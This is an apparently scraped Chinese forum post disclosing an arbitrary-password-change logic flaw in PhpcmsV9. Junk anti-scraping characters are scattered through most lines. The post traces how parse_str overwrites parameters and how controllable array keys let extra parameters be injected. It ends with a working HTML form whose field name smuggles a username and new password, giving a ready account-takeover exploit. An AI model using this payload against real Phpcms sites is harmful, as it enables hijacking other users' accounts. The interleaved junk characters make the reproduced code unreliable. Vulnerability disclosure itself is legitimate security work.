找回密码
 立即注册
查看: 2726|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:7 T( u3 y: I6 L% v* i

( P! y- a% g- ]. k; t1 ]
) k7 X. R' [+ O( b; P6 [parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
3 |. ~) H$ h( C& M3 y, g
2 t+ z$ F8 N6 z$ c2 m在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
2 e  [' K8 }3 a( B1 f: t, m9 ], o) I
我把它留给了你们。& ~* M8 H. O9 ?+ u
不知道你们发现了它没有。
" |2 T% [, T* ^8 k) u# f% V/ T7 Q; P9 f% ?. |: E
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
: Q( s* d; K# t& v5 h3 @( U5 c9 r2 K) I9 P
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
5 ~9 [5 z. {- J  o1 D0 z  ^; j" f, D
也就是
/ d$ V: G! R) m' X: S/ s, {2 u9 Q. c6 z, G
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。( U4 u; T6 }  m

. r# x+ }0 \0 S0 C% S要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
% M0 `7 _4 U( x  \6 _
) L' \& a6 K) i7 F& E: B% T$ I. e$ I$ ~2 _3 q
其实我们有这样的机会,看看代码,如下:9 Y" |1 v7 d7 Y9 C$ y3 `0 z
/ V6 n0 S0 P7 b+ a
0 R  Z$ s* Q$ v; J
public function auth_data($data) {9 ]- P  i9 I7 n, k
                $s = $sep = '';
4 p  A5 d- z+ d' I& h' ?; V                foreach($data as $k => $v) {. p4 v  e; Y) r. y% Y- [
                        if(is_array($v)) {! X5 u0 j' g% d' E9 Z6 n$ w/ r
                                $s2 = $sep2 = '';
: W$ f% M5 o. O2 E+ @1 F( l                                foreach($v as $k2 => $v2) {& z% t" u. i% t
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);$ S, i6 `) s. h: \# B4 |& k6 r
                                        $sep2 = '&';
$ g4 V4 @4 \, i, m& C  u, S! V                                }
% r/ y" W; c+ ]5 F8 |9 G                                $s .= $sep.$s2;& x: A( m- b& Y! \3 I
                        } else {
2 F$ W; N7 J. h: g2 k3 {                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
% E( O/ r+ W* q. u/ G( X0 y0 x                        }% r3 f+ @9 q" t% b3 X
                        $sep = '&';/ u! w! O7 t5 k7 L$ ?/ p- ?
                }3 J' g. ?6 V/ o6 [$ u0 A# L9 Z
0 T4 P, v+ l" k1 P/ O; y# D/ K# v
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
$ C9 r2 I2 @6 W& Z* w9 }                return $auth_s;
5 t% G, n! l9 v  X        }
: t: y( O, P: a0 v: \! y. b' Q! ^$ Q  i( T5 Z2 |
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
0 G; Q8 w4 C9 E& g; n" x2 w3 N9 v! A
, l  {4 z5 i- ^# m4 w/ W+ M; }举个例子7 o" w# ?  ~2 W: h, x
9 F) H  f1 @, h
$a[aaa=a&bbb] = 'a';
; Y9 P4 ]1 T2 [4 B# c% Y
4 s8 Q/ H+ k5 t会变成aaa=a&bbb=a
. ~1 I6 a* {. o7 p' l) x% x& h" \3 B+ a" G4 f5 T/ Y: |6 q$ {
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
$ K- l2 V% j, H6 K
- }# p8 r. f$ C7 s7 i; L5 \% u6 d这个时候,我们可以再去看一个函数。
9 ^* I( G* ^- ?- T; ~8 L1 v& o, }$ ^+ ~
就在这个文件内:" j* V% T; P2 _7 [1 b4 w2 e+ K
1 R1 k- Z0 k$ d* K7 ?

$ w2 b4 v; [2 C+ E' Rpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) D$ a( q$ B8 g; k' d                if($email && !$this->_is_email($email)) {
! Z& F- {' D9 T4 Y                        return -4;
7 \- Z/ h$ v/ n                }
% q* Y. T; A1 T/ F0 A+ y; U6 L. ?                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
/ J% {9 O5 `  W0 u1 C        }( N9 s3 u/ W2 K% E$ L8 \
9 V: n$ J% h& f( h
这是向通行证发了这样一个请求。7 j" \+ Q# l4 z" E! Q0 m

6 T  [' T: E1 p1 r1 E: Q+ @我们再跟到通信证代码里去看看,就会有所发现。
/ J4 T! j3 O& F: o
0 V. N; c9 U. e
( |6 z; t; P- t$ {; D4 p- dpublic function edit() {% c* H) s8 v* o' D: J
//能省就省,太长了不是吗?
2 Q8 ^* Q! C, |( ]4 C# `
4 W, h1 V: U; m. x$ fif($this->username) {3 f) T  X: M$ `$ \
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
- s# y2 ^: F$ z7 b                                $res = $this->db->update($data, array('username'=>$this->username));: r& P: y# L+ W$ u4 j3 C5 h
                        } else {
2 k; L: q) M8 b- }$ b2 X3 ]                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
# o6 ]1 X) h& n! x2 |                                $res = $this->db->update($data, array('uid'=>$this->uid));
% o+ ?# z( P/ Y2 |                        }4 R) q: I# W( v& \

+ X2 h% _( w8 {$ K7 m" M3 m- w好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:0 Z' S5 r$ Z/ t8 z0 w
" i% q( h/ d% Q7 p8 v$ d
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')9 M' V; O- j% }8 l6 n7 n% S
- C$ R4 p( d# w) P
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。5 C+ y4 M" j& Z9 h2 `+ O. p

; F# o5 I& g, j. j3 |) p我当然找到了:9 d1 F7 |, O1 N1 U4 b! A
phpcms9/phpcms/modules/member/index.php2 k  Q) l& l* z5 _" b' @8 {

% ]0 X5 e  y( d5 W$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);1 `8 y& [; O% ~
1 x0 S- A) c. F
然后就没有然后了。
2 i6 l0 J) j  H. e; c9 M
: K+ M4 c% v2 @& s0 x& j" E6 ^% @<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">$ S6 J; Z$ I/ l' P2 \
                                <table width="100%" cellspacing="0" class="table_form">
; N2 J. ~9 y( k2 z1 L' v                                        <tr>& i8 L) I# }# E) N
                                                <th width="80">邮箱:</th>        ( H- X* n% Z0 H2 ^- s
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
8 f: u% ?3 g4 y& n+ i                                        </tr>7 h0 z+ S4 k3 K1 H+ h: R1 X. c
                                        <tr>7 J$ g/ A- X% q$ f: ]: I. _
                                                <th width="80">原密码:</th>        
$ R, c: `! ?2 u( D                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>* H) V  b/ Y* Z+ I
                                        </tr>7 c" w- X# P6 _' Y! ^7 v
                                        <tr>5 x8 [5 z$ W2 ?
                                                <th>新密码:</th>' x' O( c$ a) G  ^% E
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>1 l3 ~( u; v( K8 t* A% r" I
                                        </tr># ?. k6 u5 I; U: A9 z$ j
                                        <th></th>
! N$ S+ J; j& {' {9 L0 D                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>' Q! _0 o% I- `* z' i
                                        </tr>5 F" U& P$ ]2 \7 A7 f" T. K5 Q, h
                                </table>
  n- c2 m+ H& V  |; @0 F
; j. ~) f* f& f                               
1 x, B- }" f7 w+ T+ ?& k                        </form>7 X4 D2 w$ s& \. `8 I7 u% p5 U& {
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表